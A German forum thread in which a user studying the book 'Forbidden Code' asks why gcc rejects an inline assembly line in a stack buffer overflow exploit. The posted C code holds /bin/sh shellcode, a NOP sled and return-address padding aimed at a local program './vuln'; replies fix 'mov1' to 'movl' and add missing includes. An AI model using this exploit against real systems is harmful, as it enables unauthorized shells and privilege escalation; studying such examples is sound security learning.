gcc akzepiert ASM-befehl nicht
-
HI,
ich les gerade das buch 'Forbidden Code' und hab das folgende Beispiel ausprobiert,
aber i-wie klappt dass nicht mit dem ASM-befehl mit gcc .#include <stdlib.h> char shellcode[] = "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0" "\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d" "\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73" "\x68"; unsigned long sp(void) { __asm__("mov1 %esp, %eax");} // <--- FEHLER int main(int argc, char *argv[]) { int i, offset; long esp, ret, *addr_ptr; char *buffer, *ptr; offset = 0; esp = sp(); //Aktuellen Stack-Pointer in esp schreiben ret = esp - offset; //ret-Adresse überschreiben printf("Stack pointer (ESP): 0x%x\n", esp); printf(" Offset from ESP : 0x%x\n", offset); printf("Desired Return Addr : 0x%x\n", ret); // Allocate 600 bytes for buffer (on the heap) buffer = malloc(600); //Gesamten Puffer mit der gewünschten ret-Adresse füllen ptr = buffer; addr_ptr = (long *) ptr; for(i=0; i < 600; i+=4) { *(addr_ptr++) = ret; } //Die ersten 200 Bytes des Puffers mit NOP-Anweisungen füllen for(i=0; i < 200; i++) { buffer[i] = '\x90'; } //Den Shellcode nach dem NOP-Sled schreiben ptr = buffer + 200; for(i=0; i < strlen(shellcode); i++) { *(ptr++) = shellcode[i]; } //Den String beenden buffer[600-1] = 0; //Jetzt das Programm ./vuln mit dem manipulierten Buffer als Argument aufrufen execl("./vuln", "vuln", buffer, 0); //Speicherpuffer freigeben free(buffer); return 0; }Ergebniss is gcc
ERROR: no such instruction: mov1 %esp, %eax'Danke schon im Vorraus auf alle Antworten !
-
ich würd sagen, das heißt nur mov.
-
wenn ich nur 'mov' schreib kommt keine Fehlermeldung mehr über den ASMbefehl....
aber es scheint als würde gcc keine funktionen mehr akzepieren ...Warnung: Unverträgliche impliziete Deklaration der eingebauten Funktion >>printf<< Warnung: Unverträgliche impliziete Deklaration der eingebauten Funktion >>strlen<< Warnung: Unverträgliche impliziete Deklaration der eingebauten Funktion >>execl<<
-
ioBen schrieb:
aber es scheint als würde gcc keine funktionen mehr akzepieren ...
Wie kommst Du darauf? Warnungen schaden dem Compiliervorgang i.A. nicht.
Warnung: Unverträgliche impliziete Deklaration der eingebauten Funktion >>printf<< Warnung: Unverträgliche impliziete Deklaration der eingebauten Funktion >>strlen<< Warnung: Unverträgliche impliziete Deklaration der eingebauten Funktion >>execl<<Das sieht so aus als ob Du einfach nur die passenden Includes (printf stdio.h, strlen string.h usw.) vergessen hättest. Darüberhinaus verwendest Du offenbar einen ANSI-C Compiler, dann wäre diese Frage im falschen Subforum gestellt

-
gcc -> movl (MOVL)
-
movl danke, das funktioniert.
Jetzt hab ich aber dass problem dass gcc die error-messages (s.oben) ausgibt.
Weiß aber nicht was ich an den Funktionen ändern soll.
-
ah hab n beitrag übersehn ... mein letzen beitrag einfach vergessen
-
Programm funktioniert jetzt mit den
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h> datein.Danke